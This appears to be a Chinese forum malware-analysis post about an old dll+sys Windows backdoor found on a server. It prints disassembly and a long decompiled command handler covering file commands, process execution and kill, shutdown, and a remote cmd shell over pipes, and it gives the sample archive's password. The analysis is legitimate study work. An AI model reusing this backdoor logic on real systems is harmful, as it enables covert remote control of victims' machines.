为了不得罪为了福利进来的高手,我首先要表示福利请看样本签名:cool:
由于样本年代过于久远,所以本文技术含量不高,发出来只是为了让我等菜鸟有一个共同学习提高的机会,顺便灌水毛个泡,潜了太久了。。。:o::o::o::o:
然后是正题:
起因是某朋友说在服务器上抓到了只小马,怀疑是Gh0st(这种秒杀级的马为什么现在还可以这么流行,看来国内抄袭现象还是比较严重的)。
后来看了一下朋友打包发过来的样本,发现我还是too young,too simple,这个马。。。年代差不多和Gh0st一样久远,难道真是网站管理员越来越懒了么。。。。
马的架构:
dll+sys
sys文件负责网络通信
dll以服务的形式注册,负责执行发送过来的指令,cd/md/rd/exec/各种,有个wget指令作者说在下一个版本中添加- -!
稍微贴点代码,具体请参考压缩包内idb注释:
入口ServiceMain,只贴重要的地方:
然后是这个工作线程:
sub_10001560里面,无非就是FindResource,LoadResource,WriteFile生成sys,然后CreateFile打开一个和sys通信用的句柄hDevice。sub_10003F10才是关键:
sub_10004070负责和驱动通信,解析网络参数。sub_10004140会执行网络传过来的指令。看一下干活的地方:
解压密码:M$croS0Ft_
由于样本年代过于久远,所以本文技术含量不高,发出来只是为了让我等菜鸟有一个共同学习提高的机会,顺便灌水毛个泡,潜了太久了。。。:o::o::o::o:
然后是正题:
起因是某朋友说在服务器上抓到了只小马,怀疑是Gh0st(这种秒杀级的马为什么现在还可以这么流行,看来国内抄袭现象还是比较严重的)。
后来看了一下朋友打包发过来的样本,发现我还是too young,too simple,这个马。。。年代差不多和Gh0st一样久远,难道真是网站管理员越来越懒了么。。。。
马的架构:
dll+sys
sys文件负责网络通信
dll以服务的形式注册,负责执行发送过来的指令,cd/md/rd/exec/各种,有个wget指令作者说在下一个版本中添加- -!
稍微贴点代码,具体请参考压缩包内idb注释:
入口ServiceMain,只贴重要的地方:
代码:
....
mov _flag_stop_workthread, 0
push 0 ; lpThreadId
push 0 ; dwCreationFlags
push 0 ; lpParameter
push offset StartAddress ; lpStartAddress//开启工作线程
push 0 ; dwStackSize
push 0 ; lpThreadAttributes
call ds:CreateThread
....
代码:
.text:10004150 call sub_10001560 ; 驱动加载,并打开驱动句柄(hDevice)
.text:10004150 ; 成功返回:1
.text:10004150 ; 失败返回:0
.text:10004155 test eax, eax
.text:10004157 jz short loc_1000419B
.text:10004159 push edi
.text:1000415A mov edi, offset aChkrootport ; "chkrootport"
.text:1000415F or ecx, 0FFFFFFFFh
.text:10004162 xor eax, eax
.text:10004164 repne scasb
.text:10004166 not ecx
.text:10004168 dec ecx
.text:10004169 push ecx ; nInBufferSize
.text:1000416A push offset aChkrootport ; "chkrootport"
.text:1000416F call sub_10001600 ; 与驱动通信,检查rootport,但是驱动中好像没有检查
.text:1000416F ; 站坑用的
.text:10004174 call sub_10003F10 ; 核心函数
代码:
.text:10003F10 sub_10003F10 proc near ; CODE XREF: StartAddress+24p
.text:10003F10 push offset dword_10013630 ; int
.text:10003F15 push offset szBuf ; lpszBuffer
.text:10003F1A call sub_10001640 ; 从驱动中获取ip地址
.text:10003F1A ; 传入:
.text:10003F1A ; param1:指向保存ip地址的内存
.text:10003F1A ; param2:unknow
.text:10003F1F add esp, 8
.text:10003F22 test eax, eax
.text:10003F24 jnz short loc_10003F50
.text:10003F26
.text:10003F26 loc_10003F26: ; CODE XREF: sub_10003F10+3Ej
.text:10003F26 push 10 ; dwMilliseconds
.text:10003F28 call Sleep
.text:10003F2D mov eax, _flag_stop_workthread
.text:10003F32 test eax, eax
.text:10003F34 jnz locret_10004003
.text:10003F3A push offset dword_10013630 ; int
.text:10003F3F push offset szBuf ; lpszBuffer
.text:10003F44 call sub_10001640 ; 从驱动中获取ip地址
.text:10003F44 ; 传入:
.text:10003F44 ; param1:指向保存ip地址的内存
.text:10003F44 ; param2:unknow
.text:10003F49 add esp, 8
.text:10003F4C test eax, eax
.text:10003F4E jz short loc_10003F26
.text:10003F50
.text:10003F50 loc_10003F50: ; CODE XREF: sub_10003F10+14j
.text:10003F50 mov eax, dword_10013630
.text:10003F55 mov dword_10013668, 0
.text:10003F5F push eax
.text:10003F60 push offset szBuf
.text:10003F65 push offset aDoorIsBindOnSD ; "Door is bind on %s:%d\n"
.text:10003F6A call _EAX_0
.text:10003F6F add esp, 0Ch
.text:10003F72 call unknown_libname_1 ; Microsoft VisualC 2-10/net runtime
.text:10003F77 call sub_10004070 ; 解析网络参数
.text:10003F77 ; 收发数据
.text:10003F7C call sub_10004140 ; 最终会导致执行传递过来的指令
.text:10003F81 mov eax, _flag_stop_workthread
.text:10003F86 test eax, eax
.text:10003F88 jnz short loc_10003FEC
.text:10003F8A
.text:10003F8A loc_10003F8A: ; CODE XREF: sub_10003F10+DAj
.text:10003F8A call sub_10004020
.text:10003F8F push offset unk_10AB54E0
.text:10003F94 call sub_10003D50
.text:10003F99 mov eax, dword_10013668
.text:10003F9E add esp, 4
.text:10003FA1 test eax, eax
.text:10003FA3 jz short loc_10003FE3
.text:10003FA5 push offset dword_10013630 ; int
.text:10003FAA push offset szBuf ; lpszBuffer
.text:10003FAF call sub_10001640 ; 从驱动中获取ip地址
.text:10003FAF ; 传入:
.text:10003FAF ; param1:指向保存ip地址的内存
.text:10003FAF ; param2:unknow
.text:10003FB4 add esp, 8
.text:10003FB7 test eax, eax
.text:10003FB9 jz short loc_10003FE3
.text:10003FBB mov ecx, dword_10013630
.text:10003FC1 push ecx
.text:10003FC2 push offset szBuf
.text:10003FC7 push offset aDoorIsBindOnSD ; "Door is bind on %s:%d\n"
.text:10003FCC call _EAX_0
.text:10003FD1 add esp, 0Ch
.text:10003FD4 call sub_10004140 ; 最终会导致执行传递过来的指令
.text:10003FD9 mov dword_10013668, 0
.text:10003FE3
.text:10003FE3 loc_10003FE3: ; CODE XREF: sub_10003F10+93j
.text:10003FE3 ; sub_10003F10+A9j
.text:10003FE3 mov eax, _flag_stop_workthread
.text:10003FE8 test eax, eax
.text:10003FEA jz short loc_10003F8A
.text:10003FEC
.text:10003FEC loc_10003FEC: ; CODE XREF: sub_10003F10+78j
.text:10003FEC push offset unk_10AB54E0
.text:10003FF1 call sub_10003D40
.text:10003FF6 push offset aEthernetif_shu ; "ethernetif_shutdown\n"
.text:10003FFB call _EAX_0
.text:10004000 add esp, 8
.text:10004003
.text:10004003 locret_10004003: ; CODE XREF: sub_10003F10+24j
.text:10004003 retn
代码:
// 后门功能函数,负责接收并执行指令
BOOL __thiscall sub_10002570(int this, LPCVOID lpBuffer, DWORD Size)
{
....
v3 = this;
if ( *(_DWORD *)(this + 72) )
{
v4 = *(_DWORD *)(this + 16);
if ( v4 )
{
v5 = *(void **)(v4 + 16);
NumberOfBytesWritten = 0;
return WriteFile(v5, lpBuffer, Size, &NumberOfBytesWritten, 0);
}
}
v7 = malloc(Size);
memcpy(v7, lpBuffer, Size - 1);
*((_BYTE *)v7 + Size - 1) = 0;
v75 = v7;
v61 = -1;
v67 = 0;
sub_10001C20(v7, &v67, &lpString1, 9);
if ( !lstrcmpiA(lpString1, "CD") )
{
if ( v67 == 2 )
{
v61 = SetCurrentDirectoryA(Str);
LABEL_89:
v32 = strlen("\n\n") + 1;
v56 = 0;
v33 = v32 - 1;
if ( v32 != 1 )
{
v34 = (int)"\n\n";
while ( (unsigned int)v33 >= 0x2000 )
{
while ( (unsigned __int8)sub_100021C0(v34, 8192) )
Sleep(5u);
v33 -= 8192;
v34 += 8192;
++v56;
if ( !v33 )
goto LABEL_98;
}
while ( (unsigned __int8)sub_100021C0(&asc_10013450[8192 * v56], v33) )
Sleep(5u);
}
LABEL_98:
if ( v61 )
{
if ( v61 == 1 )
{
sprintf(Dest, "Command \"%s\" succeed.", lpString1);
v40 = 0;
v41 = strlen(Dest) + 1;
v58 = 0;
v42 = v41 - 1;
if ( v41 != 1 )
{
v43 = Dest;
while ( (unsigned int)v42 >= 0x2000 )
{
while ( (unsigned __int8)sub_100021C0(v43, 8192) )
Sleep(5u);
v42 -= 8192;
v43 += 8192;
++v58;
if ( !v42 )
goto LABEL_131;
v40 = v58;
}
v44 = &Dest[8192 * v40];
while ( (unsigned __int8)sub_100021C0(v44, v42) )
Sleep(5u);
}
}
else
{
sprintf(Dest, "Invalid Command \"%s\".", lpString1);
v45 = strlen(Dest) + 1;
v59 = 0;
v46 = v45 - 1;
if ( v45 != 1 )
{
v47 = Dest;
while ( (unsigned int)v46 >= 0x2000 )
{
while ( (unsigned __int8)sub_100021C0(v47, 8192) )
Sleep(5u);
v46 -= 8192;
v47 += 8192;
++v59;
if ( !v46 )
goto LABEL_131;
}
while ( (unsigned __int8)sub_100021C0(&Dest[8192 * v59], v46) )
Sleep(5u);
}
}
}
else
{
sprintf(Dest, "Failed to process command \"%s\".", lpString1);
v35 = 0;
v36 = strlen(Dest) + 1;
v57 = 0;
v37 = v36 - 1;
if ( v36 != 1 )
{
v38 = Dest;
while ( (unsigned int)v37 >= 0x2000 )
{
while ( (unsigned __int8)sub_100021C0(v38, 8192) )
Sleep(5u);
v37 -= 8192;
v38 += 8192;
++v57;
if ( !v37 )
goto LABEL_131;
v35 = v57;
}
v39 = &Dest[8192 * v35];
while ( (unsigned __int8)sub_100021C0(v39, v37) )
Sleep(5u);
}
}
LABEL_131:
v48 = strlen(off_1001318C[0]) + 1;
NumberOfBytesWritten = (DWORD)off_1001318C[0];
v49 = v48 - 1;
v60 = 0;
if ( v48 != 1 )
{
v50 = off_1001318C[0];
while ( (unsigned int)v49 >= 0x2000 )
{
while ( (unsigned __int8)sub_100021C0(v50, 8192) )
Sleep(5u);
v49 -= 8192;
v50 += 8192;
++v60;
if ( !v49 )
return sub_1000B2B5(v75);
}
while ( (unsigned __int8)sub_100021C0((v60 << 13) + NumberOfBytesWritten, v49) )
Sleep(5u);
}
return sub_1000B2B5(v75);
}
v52 = strlen("Usage: CD <Directory>");
v51 = (int)"Usage: CD <Directory>";
goto LABEL_88;
}
if ( !lstrcmpiA(lpString1, "MD") || !lstrcmpiA(lpString1, "MKDIR") )
{
if ( v67 == 2 )
{
v61 = CreateDirectoryA(Str, 0);
goto LABEL_89;
}
v52 = strlen("Usage: MD/MKDIR <Directory>");
v51 = (int)"Usage: MD/MKDIR <Directory>";
goto LABEL_88;
}
if ( !lstrcmpiA(lpString1, "PWD") )
{
GetCurrentDirectoryA(0x104u, &CommandLine);
v8 = 0;
v9 = strlen(&CommandLine) + 1;
v66 = 0;
v10 = v9 - 1;
v53 = v9 - 1;
if ( v9 != 1 )
{
v62 = (LONG)&CommandLine;
while ( (unsigned int)v10 >= 0x2000 )
{
while ( 1 )
{
while ( *(_WORD *)(*(_DWORD *)v3 + 112) > 5u )
Sleep(1u);
ProcessInformation = v62;
LOWORD(v69) = 8192;
v70 = 0;
hObject = CreateEventA(0, 0, 0, 0);
InterlockedExchange((volatile LONG *)(v3 + 4), (LONG)&ProcessInformation);
WaitForSingleObject(hObject, 0xFFFFFFFFu);
InterlockedExchange((volatile LONG *)(v3 + 4), 0);
CloseHandle(hObject);
dword_1001735C = GetTickCount();
if ( !(_BYTE)v70 )
break;
Sleep(5u);
}
v10 = v53 - 8192;
v8 = (int)((char *)v66 + 1);
v11 = v53 == 8192;
v53 -= 8192;
v66 = (HANDLE *)((char *)v66 + 1);
v62 += 8192;
if ( v11 )
{
v61 = 1;
goto LABEL_89;
}
}
v12 = &CommandLine + 8192 * v8;
while ( (unsigned __int8)sub_100021C0(v12, v10) )
Sleep(5u);
}
v61 = 1;
goto LABEL_89;
}
if ( !lstrcmpiA(lpString1, "WGET") )
{
if ( v67 == 2 )
{
v52 = strlen("will support in new version");
v51 = (int)"will support in new version";
}
else
{
v52 = strlen("Usage: WGET <URL>");
v51 = (int)"Usage: WGET <URL>";
}
goto LABEL_88;
}
if ( !lstrcmpiA(lpString1, "EXEC") || !lstrcmpiA(lpString1, "RUN") )
{
if ( v67 == 2 )
{
v61 = WinExec(Str, 1u) > 0x1F;
}
else
{
v29 = strlen("Usage: EXEC/RUN <Filename>") + 1;
v55 = 0;
v30 = v29 - 1;
if ( v29 != 1 )
{
v31 = (int)"Usage: EXEC/RUN <Filename>";
while ( (unsigned int)v30 >= 0x2000 )
{
while ( (unsigned __int8)sub_100021C0(v31, 8192) )
Sleep(5u);
v30 -= 8192;
v31 += 8192;
++v55;
if ( !v30 )
goto LABEL_89;
}
while ( (unsigned __int8)sub_100021C0(&aUsageExecRunFi[8192 * v55], v30) )
Sleep(5u);
}
}
goto LABEL_89;
}
if ( !lstrcmpiA(lpString1, "PS") )
{
v13 = sub_10001A60(0, 0);
v14 = 2 * v13;
v15 = (DWORD)malloc(2 * v13);
v16 = v15;
NumberOfBytesWritten = v15;
v17 = sub_10001A60(v15, v14);
v18 = 0;
v66 = (HANDLE *)v17;
v54 = 0;
if ( v17 )
{
v63 = v16;
while ( (unsigned int)v17 >= 0x2000 )
{
while ( 1 )
{
while ( *(_WORD *)(*(_DWORD *)v3 + 112) > 5u )
Sleep(1u);
ProcessInformation = v63;
LOWORD(v69) = 8192;
v70 = 0;
hObject = CreateEventA(0, 0, 0, 0);
InterlockedExchange((volatile LONG *)(v3 + 4), (LONG)&ProcessInformation);
WaitForSingleObject(hObject, 0xFFFFFFFFu);
InterlockedExchange((volatile LONG *)(v3 + 4), 0);
CloseHandle(hObject);
dword_1001735C = GetTickCount();
if ( !(_BYTE)v70 )
break;
Sleep(5u);
}
v17 = (int)(v66 - 2048);
v18 = v54 + 1;
v11 = v66 == (HANDLE *)8192;
v66 -= 2048;
++v54;
v63 += 8192;
if ( v11 )
goto LABEL_41;
}
v19 = (v18 << 13) + NumberOfBytesWritten;
while ( (unsigned __int8)sub_100021C0(v19, v17) )
Sleep(5u);
}
LABEL_41:
sub_1000B2B5(NumberOfBytesWritten);
v61 = 1;
goto LABEL_89;
}
if ( !lstrcmpiA(lpString1, "KILL") )
{
if ( v67 == 2 )
{
sub_100019D0("SeDebugPrivilege", 1);
v20 = atoi(Str);
v21 = OpenProcess(0x1F0FFFu, 0, v20);
v61 = TerminateProcess(v21, 0);
CloseHandle(v21);
sub_100019D0("SeDebugPrivilege", 0);
goto LABEL_89;
}
v52 = strlen("Usage: KILL <Process_ID>");
v51 = (int)"Usage: KILL <Process_ID>";
LABEL_88:
sub_100031E0(v51, v52);
goto LABEL_89;
}
if ( lstrcmpiA(lpString1, "SHELL") )
{
if ( lstrcmpiA(lpString1, "SHUTDOWN") )
{
if ( lstrcmpiA(lpString1, "REBOOT") )
{
if ( lstrcmpiA(lpString1, "EXIT") )
{
if ( !lstrcmpiA(lpString1, "HELP") || !lstrcmpiA(lpString1, "H") || !lstrcmpiA(lpString1, "?") )
{
sub_100031E0(off_10013190, strlen(off_10013190));
v61 = 1;
}
}
else
{
sub_100042E0(*(_DWORD *)v3);
v61 = 1;
}
}
else
{
sub_100019D0("SeShutdownPrivilege", 1);
v61 = ExitWindowsEx(6u, 0);
}
}
else
{
sub_100019D0("SeShutdownPrivilege", 1);
v61 = ExitWindowsEx(0xCu, 0);
}
goto LABEL_89;
}
*(_DWORD *)(v3 + 72) = 1;
v22 = operator new(0x2Cu);
if ( v22 )
{
v23 = *(_DWORD *)v3;
*((_DWORD *)v22 + 1) = 0;
*(_DWORD *)v22 = v23;
dword_1001735C = GetTickCount();
*((_DWORD *)v22 + 2) = 180000;
*((_DWORD *)v22 + 3) = 0;
*((_DWORD *)v22 + 4) = 0;
*((_DWORD *)v22 + 5) = 0;
*((_DWORD *)v22 + 6) = 0;
*((_DWORD *)v22 + 9) = 0;
*((_DWORD *)v22 + 10) = CreateEventA(0, 1, 0, 0);
}
else
{
v22 = 0;
}
CommandLine = 0;
memset(&v78, 0, 0x100u);
v79 = 0;
v80 = 0;
StartupInfo.cb = 0;
*(_DWORD *)(v3 + 16) = v22;
memset(&StartupInfo.lpReserved, 0, 0x40u);
v69 = 0;
v24 = (HANDLE *)((char *)v22 + 24);
v70 = 0;
ProcessInformation = 0;
hObject = 0;
PipeAttributes.nLength = 12;
PipeAttributes.lpSecurityDescriptor = 0;
PipeAttributes.bInheritHandle = 1;
NumberOfBytesWritten = (DWORD)((char *)v22 + 12);
if ( CreatePipe((PHANDLE)v22 + 3, (PHANDLE)v22 + 6, &PipeAttributes, 0) )
{
v66 = (HANDLE *)((char *)v22 + 16);
v64 = (HANDLE *)((char *)v22 + 20);
if ( CreatePipe((PHANDLE)v22 + 5, (PHANDLE)v22 + 4, &PipeAttributes, 0) )
{
memset(&StartupInfo, 0, sizeof(StartupInfo));
ProcessInformation = 0;
v69 = 0;
v70 = 0;
hObject = 0;
GetStartupInfoA(&StartupInfo);
StartupInfo.hStdInput = *v64;
v27 = *v24;
StartupInfo.cb = 68;
StartupInfo.wShowWindow = 0;
StartupInfo.dwFlags = 257;
StartupInfo.hStdError = v27;
StartupInfo.hStdOutput = v27;
ExpandEnvironmentStringsA("%ComSpec%", &CommandLine, 0x104u);
if ( CreateProcessA(
0,
&CommandLine,
0,
0,
1,
0x20u,
0,
0,
&StartupInfo,
(LPPROCESS_INFORMATION)&ProcessInformation) )
{
v28 = v69;
*((_DWORD *)v22 + 7) = ProcessInformation;
*((_DWORD *)v22 + 8) = v28;
*((_DWORD *)v22 + 9) = CreateThread(0, 0, sub_10003380, v22, 0, 0);
}
else
{
CloseHandle(*(HANDLE *)NumberOfBytesWritten);
CloseHandle(*v66);
CloseHandle(*v64);
CloseHandle(*v24);
}
}
else
{
v26 = (void *)*((_DWORD *)v22 + 4);
if ( v26 )
CloseHandle(v26);
if ( *v64 )
CloseHandle(*v64);
}
}
else
{
if ( *(_DWORD *)NumberOfBytesWritten )
CloseHandle(*(HANDLE *)NumberOfBytesWritten);
v25 = *v24;
if ( v25 )
CloseHandle(v25);
}
return sub_1000B2B5(v75);
}